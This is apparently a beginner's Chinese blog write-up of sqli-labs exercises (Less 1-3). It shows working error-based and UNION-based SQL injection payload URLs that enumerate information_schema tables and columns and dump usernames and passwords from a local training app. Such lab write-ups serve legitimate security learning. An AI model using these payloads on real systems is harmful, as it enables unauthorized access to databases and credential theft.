zoukankan      html  css  js  c++  java
  • 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!!

    url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%。具体的编码对应请看w3school上的编码表http://www.w3school.com.cn/tags/html_ref_urlencode.html

    常见的有:空格是%20,单引号是%27, 井号是%23,双引号是%22

    判断sql注入(显错和基于错误的盲注):单引号,and 1=1  ,and 1=2,or 1=1 , or 1=2等

    判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(8) (函数不同数据库有所不同)sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)

    三种常见注释符:#  、--+( 后边有空格 )、/**/ 序列

    sql注入基本注入步骤
    判断是什么类型注入
    获取数据库用户,版本,当前连接的数据库等信息
    猜解数据库、表的信息
    猜解列、字段信息
    最后猜解出数据就可以了!!

    首先在源码中加入:

    echo "your sql statement is ".$sql."<br>";

    用来输出你的sql语句,可以更加方便直观的理解此过程。

    image

    注:下面的可能有很多种注入方法,仅举例一种。我主要详细记录Less 3 ,less 1和less2方法类似。

    less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    首先,设置?d=1进行测试,正常访问,可以成功显示数据:

    http://127.0.0.1/sqllibs/Less-3/?id=1

    image

    可以看到其查询语句为:SELECT * FROM users WHERE id=('1')

    则加 ‘ 进行判断,结果显示语法错误:

    http://127.0.0.1/sqllibs/Less-3/?id=1'

    image

    因为 查询语句变成了:SELECT * FROM users WHERE id=('1''),很明显出现了错误。因此,进行闭合 ‘)—+  ,执行结果如下:

    http://127.0.0.1/sqllibs/Less-3/?id=1')—+

    image

    可以正常执行,现在来猜解字段长度,通过order by N(N为字段长度)

    http://127.0.0.1/sqllibs/Less-3/?id=1')order by 3—+

    image

    当 order by 3是,正常返回,说明字段长度N>=3,则猜解4:

    http://127.0.0.1/sqllibs/Less-3/?id=1')order by 4—+

    image

    返回错误,则说明字段长度为3。令左边id=-1,进行union select 语句拼接查询,则:

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,3--+

    image

    返回结果为,2,3,下面就开始真正查询数据库的各种信息了。可以看到只有第2列和第3列的结果显示在网页上,所以就只能用2,3这个位置了。但是两个位置应该是不够用的,这时就需要用到数据库的连接函数了,常用的是concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符。

    user():返回当前数据库连接使用的用户

    database():返回当前数据库连接使用的数据库

    version():返回当前数据库的版本

    :的十进制ASCII是58 ,空格的十进制ASCII是32,主要是以:进行分隔。

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,concat_ws(char(32,58,32),user(),database(),version())—+

    image

    可以看到用户名为:root@localhost,数据库为:security,数据库版本号为:5.5.53

    接下来查询security数据库中有哪些表。首先说一下mysql的数据库information_schema。它是系统数据库,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表。
    SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。
    TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。
    COLUMNS:储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。
    通过直接在mysql控制台实验可以看到,查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。

    security编码后为:0x7365637572697479

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479--+

    image

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1--+

    image

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1--+

    image

    猜解出users表,进一步猜解

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1—+

    image

    猜解出ID字段

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1--+

    image

    猜解出username字段

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1—+

    image

    猜解出password字段

    http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 2,1—+

    image

    成功查询出数据id:3,username:Dummy,password:p@ssword

  • 相关阅读:
    tmux工具,终端复用
    使用sgdisk进行磁盘分区
    「Spring Boot 2.4 新特性」启动耗时详细监控
    「Spring Boot 2.4 新特性」启动耗时详细监控
    「SpringBoot2.4新特性」jar自动瘦身
    Spring Boot 2.4 新特性,全新的Cron表达式处理机制
    「Spring Boot 2.4 新特性」一键构建Docker镜像
    Spring Boot 接口幂等插件使用
    Druid 监控分布式解决方案
    Ehcache 入门详解 (转)
  • 原文地址:https://www.cnblogs.com/aq-ry/p/9026599.html
Copyright © 2011-2022 走看看